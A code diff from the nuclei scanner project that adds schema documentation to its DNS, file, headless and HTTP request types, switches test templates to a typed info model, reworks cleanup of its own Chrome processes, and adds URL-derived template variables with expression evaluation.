builder.WriteString(fmt.Sprintf("[%s] Received DNS interaction (%s) from %s at %s", interaction.FullId, interaction.QType, interaction.RemoteAddress, interaction.Timestamp.Format("2006-01-02 15:04:05")))
builder.WriteString(fmt.Sprintf("\n-----------\nDNS Request\n-----------\n\n%s\n\n------------\nDNS Response\n------------\n\n%s\n\n", interaction.RawRequest, interaction.RawResponse))
case "http":
builder.WriteString(fmt.Sprintf("[%s] Received HTTP interaction from %s at %s", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp.Format("2006-01-02 15:04:05")))
builder.WriteString(fmt.Sprintf("\n------------\nHTTP Request\n------------\n\n%s\n\n-------------\nHTTP Response\n-------------\n\n%s\n\n", interaction.RawRequest, interaction.RawResponse))
case "smtp":
builder.WriteString(fmt.Sprintf("[%s] Received SMTP interaction from %s at %s", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp.Format("2006-01-02 15:04:05")))
builder.WriteString(fmt.Sprintf("\n------------\nSMTP Interaction\n------------\n\n%s\n\n", interaction.RawRequest))
}
fmt.Fprint(os.Stderr, builder.String())
}

58
v2/pkg/protocols/dns/dns.go
View File

@ -18,18 +18,49 @@ type Request struct {
// Operators for the current request go here.
operators.Operators `yaml:",inline"`
ID string `yaml:"id"`
// ID is the ID of the request
ID string `yaml:"id,omitempty" jsonschema:"title=id of the dns request,description=ID is the optional ID of the DNS Request"`
// Path contains the path/s for the request
Name string `yaml:"name"`
// Type is the type of DNS request to make
Type string `yaml:"type"`
// Class is the class of the DNS request
Class string `yaml:"class"`
// Retries is the number of retries for the DNS request
Retries int `yaml:"retries"`
// description: |
// Name is the Hostname to make DNS request for.
//
// Generally, it is set to {{FQDN}} which is the domain we get from input.
// examples:
// - value: "\"{{FQDN}}\""
Name string `yaml:"name,omitempty" jsonschema:"title=hostname to make dns request for,description=Name is the Hostname to make DNS request for"`
// description: |
// Type is the type of DNS request to make.
// values:
// - "A"
// - "NS"
// - "DS"
// - "CNAME"
// - "SOA"
// - "PTR"
// - "MX"
// - "TXT"
// - "AAAA"
Type string `yaml:"type,omitempty" jsonschema:"title=type of dns request to make,description=Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA"`
// description: |
// Class is the class of the DNS request.
//
// Usually it's enough to just leave it as INET.
// values:
// - "inet"
// - "csnet"
// - "chaos"
// - "hesiod"
// - "none"
// - "any"
Class string `yaml:"class,omitempty" jsonschema:"title=class of DNS request,description=Class is the class of the DNS request,enum=inet,enum=csnet,enum=chaos,enum=hesiod,enum=none,enum=any"`
// description: |
// Retries is the number of retries for the DNS request
// examples:
// - name: Use a retry of 3 to 5 generally
// value: 5
Retries int `yaml:"retries,omitempty" jsonschema:"title=retries for dns request,description=Retries is the number of retries for the DNS request"`
CompiledOperators *operators.Operators
CompiledOperators *operators.Operators `yaml:"-"`
dnsClient *retryabledns.Client
options *protocols.ExecuterOptions
@ -37,8 +68,9 @@ type Request struct {
class uint16
question uint16
// Recursion specifies whether to recurse all the answers.
Recursion bool `yaml:"recursion"`
// description: |
// Recursion determines if resolver should recurse all records to get fresh results.
Recursion bool `yaml:"recursion,omitempty" jsonschema:"title=recurse all servers,description=Recursion determines if resolver should recurse all records to get fresh results"`
}
// GetID returns the unique ID of the request if any.
@ -118,6 +150,8 @@ func questionTypeToInt(questionType string) uint16 {
question = dns.TypeMX
case "TXT":
question = dns.TypeTXT
case "DS":
question = dns.TypeDS
case "AAAA":
question = dns.TypeAAAA
}

7
v2/pkg/protocols/dns/dns_test.go
View File

@ -3,8 +3,11 @@ package dns
import (
"testing"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
)
func TestDNSCompileMake(t *testing.T) {
@ -22,7 +25,7 @@ func TestDNSCompileMake(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")

4
v2/pkg/protocols/dns/operators.go
View File

@ -5,6 +5,8 @@ import (
"time"
"github.com/miekg/dns"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
@ -139,7 +141,7 @@ func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *out
data := &output.ResultEvent{
TemplateID: types.ToString(wrapped.InternalEvent["template-id"]),
TemplatePath: types.ToString(wrapped.InternalEvent["template-path"]),
Info: wrapped.InternalEvent["template-info"].(map[string]interface{}),
Info: wrapped.InternalEvent["template-info"].(model.Info),
Type: "dns",
Host: types.ToString(wrapped.InternalEvent["host"]),
Matched: types.ToString(wrapped.InternalEvent["matched"]),

13
v2/pkg/protocols/dns/operators_test.go
View File

@ -6,12 +6,15 @@ import (
"testing"
"github.com/miekg/dns"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/stretchr/testify/require"
)
func TestResponseToDSLMap(t *testing.T) {
@ -29,7 +32,7 @@ func TestResponseToDSLMap(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")
@ -61,7 +64,7 @@ func TestDNSOperatorMatch(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")
@ -144,7 +147,7 @@ func TestDNSOperatorExtract(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")
@ -214,7 +217,7 @@ func TestDNSMakeResult(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")

7
v2/pkg/protocols/dns/request_test.go
View File

@ -3,12 +3,15 @@ package dns
import (
"testing"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/stretchr/testify/require"
)
func TestDNSExecuteWithResults(t *testing.T) {
@ -39,7 +42,7 @@ func TestDNSExecuteWithResults(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile dns request")

39
v2/pkg/protocols/file/file.go
View File

@ -12,26 +12,41 @@ import (
type Request struct {
// Operators for the current request go here.
operators.Operators `yaml:",inline"`
// Extensions is the list of extensions to perform matching on.
Extensions []string `yaml:"extensions"`
// ExtensionDenylist is the list of file extensions to deny during matching.
ExtensionDenylist []string `yaml:"denylist"`
// description: |
// Extensions is the list of extensions to perform matching on.
// examples:
// - value: '[]string{".txt", ".go", ".json"}'
Extensions []string `yaml:"extensions,omitempty" jsonschema:"title=extensions to match,description=List of extensions to perform matching on"`
// description: |
// ExtensionDenylist is the list of file extensions to deny during matching.
//
// By default, it contains some non-interesting extensions that are hardcoded
// in nuclei.
// examples:
// - value: '[]string{".avi", ".mov", ".mp3"}'
ExtensionDenylist []string `yaml:"denylist,omitempty" jsonschema:"title=extensions to deny match,description=List of file extensions to deny during matching"`
ID string `yaml:"id"`
// ID is the ID of the request
ID string `yaml:"id,omitempty" jsonschema:"title=id of the request,description=ID is the optional ID for the request"`
// MaxSize is the maximum size of the file to run request on.
// By default, nuclei will process 5MB files and not go more than that.
// It can be set to much lower or higher depending on use.
MaxSize int `yaml:"max-size"`
CompiledOperators *operators.Operators
// description: |
// MaxSize is the maximum size of the file to run request on.
//
// By default, nuclei will process 5MB files and not go more than that.
// It can be set to much lower or higher depending on use.
// examples:
// - value: 2048
MaxSize int `yaml:"max-size,omitempty" jsonschema:"title=max size data to run request on,description=Maximum size of the file to run request on"`
CompiledOperators *operators.Operators `yaml:"-"`
// cache any variables that may be needed for operation.
options *protocols.ExecuterOptions
extensions map[string]struct{}
extensionDenylist map[string]struct{}
// NoRecursive specifies whether to not do recursive checks if folders are provided.
NoRecursive bool `yaml:"no-recursive"`
// description: |
// NoRecursive specifies whether to not do recursive checks if folders are provided.
NoRecursive bool `yaml:"no-recursive,omitempty" jsonschema:"title=do not perform recursion,description=Specifies whether to not do recursive checks if folders are provided"`
allExtensions bool
}

7
v2/pkg/protocols/file/file_test.go
View File

@ -3,8 +3,11 @@ package file
import (
"testing"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
)
func TestFileCompile(t *testing.T) {
@ -21,7 +24,7 @@ func TestFileCompile(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")

3
v2/pkg/protocols/file/find.go
View File

@ -2,7 +2,6 @@ package file
import (
"os"
"path"
"path/filepath"
"strings"
@ -110,7 +109,7 @@ func (r *Request) findDirectoryMatches(absPath string, processed map[string]stru
// validatePath validates a file path for blacklist and whitelist options
func (r *Request) validatePath(item string) bool {
extension := path.Ext(item)
extension := filepath.Ext(item)
if len(r.extensions) > 0 {
if _, ok := r.extensions[extension]; ok {

15
v2/pkg/protocols/file/find_test.go
View File

@ -3,11 +3,14 @@ package file
import (
"io/ioutil"
"os"
"path"
"path/filepath"
"testing"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
)
func TestFindInputPaths(t *testing.T) {
@ -24,7 +27,7 @@ func TestFindInputPaths(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
@ -41,13 +44,13 @@ func TestFindInputPaths(t *testing.T) {
"test.js": "TEST",
}
for k, v := range files {
err = ioutil.WriteFile(path.Join(tempDir, k), []byte(v), 0777)
err = ioutil.WriteFile(filepath.Join(tempDir, k), []byte(v), 0777)
require.Nil(t, err, "could not write temporary file")
}
expected := []string{"config.yaml", "final.yaml", "test.js"}
got := []string{}
err = request.getInputPaths(tempDir+"/*", func(item string) {
base := path.Base(item)
base := filepath.Base(item)
got = append(got, base)
})
require.Nil(t, err, "could not get input paths for glob")
@ -55,7 +58,7 @@ func TestFindInputPaths(t *testing.T) {
got = []string{}
err = request.getInputPaths(tempDir, func(item string) {
base := path.Base(item)
base := filepath.Base(item)
got = append(got, base)
})
require.Nil(t, err, "could not get input paths for directory")

3
v2/pkg/protocols/file/operators.go
View File

@ -5,6 +5,7 @@ import (
"strings"
"time"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
@ -136,7 +137,7 @@ func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *out
data := &output.ResultEvent{
TemplateID: types.ToString(wrapped.InternalEvent["template-id"]),
TemplatePath: types.ToString(wrapped.InternalEvent["template-path"]),
Info: wrapped.InternalEvent["template-info"].(map[string]interface{}),
Info: wrapped.InternalEvent["template-info"].(model.Info),
Type: "file",
Path: types.ToString(wrapped.InternalEvent["path"]),
Matched: types.ToString(wrapped.InternalEvent["matched"]),

13
v2/pkg/protocols/file/operators_test.go
View File

@ -3,12 +3,15 @@ package file
import (
"testing"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/stretchr/testify/require"
)
func TestResponseToDSLMap(t *testing.T) {
@ -25,7 +28,7 @@ func TestResponseToDSLMap(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
@ -50,7 +53,7 @@ func TestFileOperatorMatch(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
@ -115,7 +118,7 @@ func TestFileOperatorExtract(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
@ -180,7 +183,7 @@ func TestFileMakeResult(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")

8
v2/pkg/protocols/file/request_test.go
View File

@ -3,10 +3,12 @@ package file
import (
"io/ioutil"
"os"
"path"
"path/filepath"
"testing"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
@ -41,7 +43,7 @@ func TestFileExecuteWithResults(t *testing.T) {
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
Info: map[string]interface{}{"severity": "low", "name": "test"},
Info: model.Info{SeverityHolder: severity.SeverityHolder{Severity: severity.Low}, Name: "test"},
})
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
@ -54,7 +56,7 @@ func TestFileExecuteWithResults(t *testing.T) {
"config.yaml": "TEST\r\n1.1.1.1\r\n",
}
for k, v := range files {
err = ioutil.WriteFile(path.Join(tempDir, k), []byte(v), 0777)
err = ioutil.WriteFile(filepath.Join(tempDir, k), []byte(v), 0777)
require.Nil(t, err, "could not write temporary file")
}

44
v2/pkg/protocols/headless/engine/action.go
View File

@ -109,10 +109,46 @@ var ActionToActionString = map[ActionType]string{
// are discovered on the found page. We also keep track and only
// scrape new navigation from pages we haven't crawled yet.
type Action struct {
Data map[string]string `yaml:"args,omitempty"`
Name string `yaml:"name,omitempty"`
Description string `yaml:"description,omitempty"`
ActionType string `yaml:"action"`
// description:
// Args contain arguments for the headless action.
//
// Per action arguments are described in detail [here](https://nuclei.projectdiscovery.io/templating-guide/protocols/headless/).
Data map[string]string `yaml:"args,omitempty" jsonschema:"title=arguments for headless action,description=Args contain arguments for the headless action"`
// description: |
// Name is the name assigned to the headless action.
//
// This can be used to execute code, for instance in browser
// DOM using script action, and get the result in a variable
// which can be matched upon by nuclei. An Example template [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/headless/prototype-pollution-check.yaml).
Name string `yaml:"name,omitempty" jsonschema:"title=name for headless action,description=Name is the name assigned to the headless action"`
// description: |
// Description is the optional description of the headless action
Description string `yaml:"description,omitempty" jsonschema:"title=description for headless action,description=Description of the headless action"`
// description: |
// Action is the type of the action to perform.
// values:
// - "navigate"
// - "script"
// - "click"
// - "rightclick"
// - "text"
// - "screenshot"
// - "time"
// - "select"
// - "files"
// - "waitload"
// - "getresource"
// - "extract"
// - "setmethod"
// - "addheader"
// - "setheader"
// - "deleteheader"
// - "setbody"
// - "waitevent"
// - "keyboard"
// - "debug"
// - "sleep"
ActionType string `yaml:"action" jsonschema:"title=action to perform,description=Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep"`
}
// String returns the string representation of an action

40
v2/pkg/protocols/headless/engine/engine.go
View File

@ -10,16 +10,17 @@ import (
"github.com/corpix/uarand"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/launcher"
ps "github.com/mitchellh/go-ps"
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/projectdiscovery/stringsutil"
ps "github.com/shirou/gopsutil/v3/process"
)
// Browser is a browser structure for nuclei headless module
type Browser struct {
customAgent string
tempDir string
previouspids map[int]struct{} // track already running pids
previouspids map[int32]struct{} // track already running pids
engine *rod.Browser
httpclient *http.Client
options *types.Options
@ -31,6 +32,7 @@ func New(options *types.Options) (*Browser, error) {
if err != nil {
return nil, errors.Wrap(err, "could not create temporary directory")
}
previouspids := findChromeProcesses()
chromeLauncher := launcher.New().
Leakless(false).
Set("disable-gpu", "true").
@ -84,7 +86,7 @@ func New(options *types.Options) (*Browser, error) {
httpclient: httpclient,
options: options,
}
engine.previouspids = engine.findChromeProcesses()
engine.previouspids = previouspids
return engine, nil
}
@ -98,25 +100,39 @@ func (b *Browser) Close() {
// killChromeProcesses any and all new chrome processes started after
// headless process launch.
func (b *Browser) killChromeProcesses() {
newProcesses := b.findChromeProcesses()
processes, _ := ps.Processes()
for id := range newProcesses {
if _, ok := b.previouspids[id]; ok {
for _, process := range processes {
// skip non chrome processes
if !isChromeProcess(process) {
continue
}
kill(id)
// skip chrome processes that were already running
if _, ok := b.previouspids[process.Pid]; ok {
continue
}
_ = process.Kill()
}
}
// findChromeProcesses finds chrome process running on host
func (b *Browser) findChromeProcesses() map[int]struct{} {
func findChromeProcesses() map[int32]struct{} {
processes, _ := ps.Processes()
list := make(map[int]struct{})
list := make(map[int32]struct{})
for _, process := range processes {
if strings.Contains(process.Executable(), "chrome") || strings.Contains(process.Executable(), "chromium") {
list[process.PPid()] = struct{}{}
list[process.Pid()] = struct{}{}
if isChromeProcess(process) {
list[process.Pid] = struct{}{}
if ppid, err := process.Ppid(); err == nil {
list[ppid] = struct{}{}
}
}
}
return list
}
// isChromeProcess checks if a process is chrome/chromium
func isChromeProcess(process *ps.Process) bool {
name, _ := process.Name()
executable, _ := process.Exe()
return stringsutil.ContainsAny(name, "chrome", "chromium") || stringsutil.ContainsAny(executable, "chrome", "chromium")
}

11
v2/pkg/protocols/headless/engine/engine_unix.go
View File

@ -1,11 +0,0 @@
// +build !windows
package engine
import (
"syscall"
)
func kill(pid int) {
_ = syscall.Kill(-pid, syscall.SIGKILL)
}

12
v2/pkg/protocols/headless/engine/engine_windows.go
View File

@ -1,12 +0,0 @@
// +build windows
package engine
import (
"os/exec"
"strconv"
)
func kill(pid int) {
_ = exec.Command("taskkill", "/t", "/f", "/pid", strconv.Itoa(pid)).Run()
}

8
v2/pkg/protocols/headless/headless.go
View File

@ -9,10 +9,12 @@ import (
// Request contains a Headless protocol request to be made from a template
type Request struct {
ID string `yaml:"id"`
// ID is the ID of the request
ID string `yaml:"id,omitempty" jsonschema:"title=id of the request,description=Optional ID of the headless request"`
// Steps is the list of actions to run for headless request
Steps []*engine.Action `yaml:"steps"`
// description: |
// Steps is the list of actions to run for headless request
Steps []*engine.Action `yaml:"steps,omitempty" jsonschema:"title=list of actions for headless request,description=List of actions to run for headless request"`
// Operators for the current request go here.
operators.Operators `yaml:",inline,omitempty"`

3
v2/pkg/protocols/headless/operators.go
View File

@ -3,6 +3,7 @@ package headless
import (
"time"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
@ -108,7 +109,7 @@ func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *out
data := &output.ResultEvent{
TemplateID: types.ToString(wrapped.InternalEvent["template-id"]),
TemplatePath: types.ToString(wrapped.InternalEvent["template-path"]),
Info: wrapped.InternalEvent["template-info"].(map[string]interface{}),
Info: wrapped.InternalEvent["template-info"].(model.Info),
Type: "headless",
Host: types.ToString(wrapped.InternalEvent["host"]),
Matched: types.ToString(wrapped.InternalEvent["matched"]),

108
v2/pkg/protocols/http/build_request.go
View File

@ -2,11 +2,13 @@ package http
import (
"context"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"path"
"regexp"
"strings"
"time"
@ -15,7 +17,6 @@ import (
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/replacer"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/race"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw"
"github.com/projectdiscovery/rawhttp"
@ -51,23 +52,30 @@ func (r *requestGenerator) Make(baseURL string, dynamicValues map[string]interfa
}
data, parsed = baseURLWithTemplatePrefs(data, parsed)
values := generators.MergeMaps(dynamicValues, map[string]interface{}{
"Hostname": parsed.Host,
})
trailingSlash := false
isRawRequest := len(r.request.Raw) > 0
if !isRawRequest && strings.HasSuffix(parsed.Path, "/") && strings.Contains(data, "{{BaseURL}}/") {
parsed.Path = strings.TrimSuffix(parsed.Path, "/")
trailingSlash = true
}
values := generators.MergeMaps(dynamicValues, generateVariables(parsed, trailingSlash))
// merge with vars
if !r.options.Options.Vars.IsEmpty() {
values = generators.MergeMaps(values, r.options.Options.Vars.AsMap())
}
// merge with env vars
if r.options.Options.EnvironmentVariables {
values = generators.MergeMaps(generators.EnvVars(), values)
}
parsedString := parsed.String()
values["BaseURL"] = parsedString
// If data contains \n it's a raw request, process it like raw. Else
// continue with the template based request flow.
if isRawRequest {
return r.makeHTTPRequestFromRaw(ctx, parsedString, data, values, payloads, interactURL)
return r.makeHTTPRequestFromRaw(ctx, parsed.String(), data, values, payloads, interactURL)
}
return r.makeHTTPRequestFromModel(ctx, data, values, interactURL)
return r.makeHTTPRequestFromModel(ctx, data, values, payloads, interactURL)
}
// Total returns the total number of requests for the generator
@ -96,23 +104,38 @@ func baseURLWithTemplatePrefs(data string, parsed *url.URL) (string, *url.URL) {
}
// MakeHTTPRequestFromModel creates a *http.Request from a request template
func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data string, values map[string]interface{}, interactURL string) (*generatedRequest, error) {
final := replacer.Replace(data, values)
func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data string, values, generatorValues map[string]interface{}, interactURL string) (*generatedRequest, error) {
if interactURL != "" {
final = r.options.Interactsh.ReplaceMarkers(final, interactURL)
data = r.options.Interactsh.ReplaceMarkers(data, interactURL)
}
// Combine the template payloads along with base
// request values.
finalValues := generators.MergeMaps(generatorValues, values)
// Evaulate the expressions for the request if any.
var err error
data, err = expressions.Evaluate(data, finalValues)
if err != nil {
return nil, errors.Wrap(err, "could not evaluate helper expressions")
}
method, err := expressions.Evaluate(r.request.Method, finalValues)
if err != nil {
return nil, errors.Wrap(err, "could not evaluate helper expressions")
}
// Build a request on the specified URL
req, err := http.NewRequestWithContext(ctx, r.request.Method, final, nil)
req, err := http.NewRequestWithContext(ctx, method, data, nil)
if err != nil {
return nil, err
}
request, err := r.fillRequest(req, values, interactURL)
request, err := r.fillRequest(req, finalValues, interactURL)
if err != nil {
return nil, err
}
return &generatedRequest{request: request, original: r.request}, nil
return &generatedRequest{request: request, meta: generatorValues, original: r.request}, nil
}
// makeHTTPRequestFromRaw creates a *http.Request from a raw request
@ -168,7 +191,7 @@ func (r *requestGenerator) handleRawWithPayloads(ctx context.Context, rawRequest
req.Host = value
}
}
request, err := r.fillRequest(req, values, "")
request, err := r.fillRequest(req, finalValues, "")
if err != nil {
return nil, err
}
@ -183,9 +206,13 @@ func (r *requestGenerator) fillRequest(req *http.Request, values map[string]inte
if interactURL != "" {
value = r.options.Interactsh.ReplaceMarkers(value, interactURL)
}
req.Header[header] = []string{replacer.Replace(value, values)}
value, err := expressions.Evaluate(value, values)
if err != nil {
return nil, errors.Wrap(err, "could not evaluate helper expressions")
}
req.Header[header] = []string{value}
if header == "Host" {
req.Host = replacer.Replace(value, values)
req.Host = value
}
}
@ -200,6 +227,10 @@ func (r *requestGenerator) fillRequest(req *http.Request, values map[string]inte
if interactURL != "" {
body = r.options.Interactsh.ReplaceMarkers(body, interactURL)
}
body, err := expressions.Evaluate(body, values)
if err != nil {
return nil, errors.Wrap(err, "could not evaluate helper expressions")
}
req.Body = ioutil.NopCloser(strings.NewReader(body))
}
setHeader(req, "User-Agent", uarand.GetRandom())
@ -221,3 +252,44 @@ func setHeader(req *http.Request, name, value string) {
req.Host = value
}
}
// generateVariables will create default variables after parsing a url
func generateVariables(parsed *url.URL, trailingSlash bool) map[string]interface{} {
domain := parsed.Host
if strings.Contains(parsed.Host, ":") {
domain = strings.Split(parsed.Host, ":")[0]
}
port := parsed.Port()
if port == "" {
if parsed.Scheme == "https" {
port = "443"
} else if parsed.Scheme == "http" {
port = "80"
}
}
if trailingSlash {
parsed.Path = strings.TrimSuffix(parsed.Path, "/")
}
escapedPath := parsed.EscapedPath()
directory := path.Dir(escapedPath)
if directory == "." {
directory = ""
}
base := path.Base(escapedPath)
if base == "." {
base = ""
}
return map[string]interface{}{
"BaseURL": parsed.String(),
"RootURL": fmt.Sprintf("%s://%s", parsed.Scheme, parsed.Host),
"Hostname": parsed.Host,
"Host": domain,
"Port": port,
"Path": directory,
"File": base,
"Scheme": parsed.Scheme,
}
}

49
v2/pkg/protocols/http/build_request_test.go
View File

@ -4,7 +4,9 @@ import (
"net/url"
"testing"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/stretchr/testify/require"
)
@ -18,6 +20,45 @@ func TestBaseURLWithTemplatePrefs(t *testing.T) {
require.Equal(t, "{{BaseURL}}/newpath", data, "could not get correct data")
}
func TestVariables(t *testing.T) {
baseURL := "http://localhost:9001/test/123"
parsed, _ := url.Parse(baseURL)
values := generateVariables(parsed, true)
require.Equal(t, values["BaseURL"], parsed.String(), "incorrect baseurl")
require.Equal(t, values["RootURL"], "http://localhost:9001", "incorrect rootURL")
require.Equal(t, values["Host"], "localhost", "incorrect domain name")
require.Equal(t, values["Path"], "/test", "incorrect path")
require.Equal(t, values["File"], "123", "incorrect file")
require.Equal(t, values["Port"], "9001", "incorrect port number")
require.Equal(t, values["Scheme"], "http", "incorrect scheme")
